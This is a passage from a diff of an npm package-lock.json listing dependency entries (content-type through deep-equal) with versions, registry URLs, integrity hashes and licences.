"sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", + "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/copy-to-clipboard": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.3.tgz", + "integrity": "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==", + "license": "MIT", + "dependencies": { + "toggle-selection": "^1.0.6" + } + }, + "node_modules/core-js": { + "version": "3.49.0", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.49.0.tgz", + "integrity": "sha512-es1U2+YTtzpwkxVLwAFdSpaIMyQaq0PBgm3YD1W3Qpsn1NAmO3KSgZfu+oGSWVu6NvLHoHCV/aYcsE5wiB7ALg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.49.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.49.0.tgz", + "integrity": "sha512-VQXt1jr9cBz03b331DFDCCP90b3fanciLkgiOoy8SBHy06gNf+vQ1A3WFLqG7I8TipYIKeYK9wxd0tUrvHcOZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-pure": { + "version": "3.49.0", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.49.0.tgz", + "integrity": "sha512-XM4RFka59xATyJv/cS3O3Kml72hQXUeGRuuTmMYFxwzc9/7C8OYTaIR/Ji+Yt8DXzsFLNhat15cE/JP15HrCgw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/css-blank-pseudo": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz", + "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-blank-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-has-pseudo": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz", + "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-has-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-loader": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.11.0.tgz", + "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz", + "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==", + "dev": true, + "license": "CC0-1.0", + "bin": { + "css-prefers-color-scheme": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-select-base-adapter": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz", + "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==", + "dev": true, + "license": "MIT" + }, + "node_modules/css-tree": { + "version": "1.0.0-alpha.37", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz", + "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.4", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-tree/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-what": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz", + "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cssdb": { + "version": "7.11.2", + "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.11.2.tgz", + "integrity": "sha512-lhQ32TFkc1X4eTefGfYPvgovRSzIMofHkigfH8nWtyRL4XJLsRhJFreRvEgKzept7x1rjBuy3J/MurXLaFxW/A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + } + ], + "license": "CC0-1.0" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/csso/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssom": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==", + "dev": true, + "license": "MIT" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/data-urls": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/dayjs": { + "version": "1.11.20", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.20.tgz", + "integrity": "sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==", + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "dev": true, + "license": "MIT" + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/dedent": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz", + "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==", + "dev": true, + "license": "MIT" + }, + "node_modules/deep-equal": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz", + "integrity": 